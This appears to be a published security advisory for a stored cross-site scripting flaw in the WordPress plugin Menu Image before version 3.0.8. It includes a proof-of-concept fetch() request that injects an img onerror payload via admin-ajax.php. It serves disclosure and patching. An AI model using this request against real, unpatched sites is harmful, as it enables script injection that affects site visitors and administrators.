WordPress Plugin Vulnerabilities

Menu Image, Icons made easy < 3.0.8 - Subscriber+ Stored Cross-Site Scripting

Description

The plugin does not have authorisation and CSRF checks when saving menu settings, and does not validate, sanitise and escape them. As a result, any authenticate users, such as subscriber can update the settings or arbitrary menu and put Cross-Site Scripting payloads in them which will be triggered in the related menu in the frontend

Proof of Concept

The menu_item_id needs to be valid (to enable a menu image, see https://www.freshlightlab.com/documentation/menu-image-docs/how-to-enable-menu-image/) 

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=set-menu-item-settings&menu_item_id=4&menu_item_image_title_position=after&menu_item_image_type=icon&menu_item_image_size=menu-36x36&menu_item_image_button=false&menu_image_icon=xxx\"><img src onerror=alert(/XSS/)>",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered in frontend pages where the related menu is output

Affects Plugins

Fixed in 3.0.8

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-03-07 (about 2 years ago)
Added
2022-03-07 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)

Other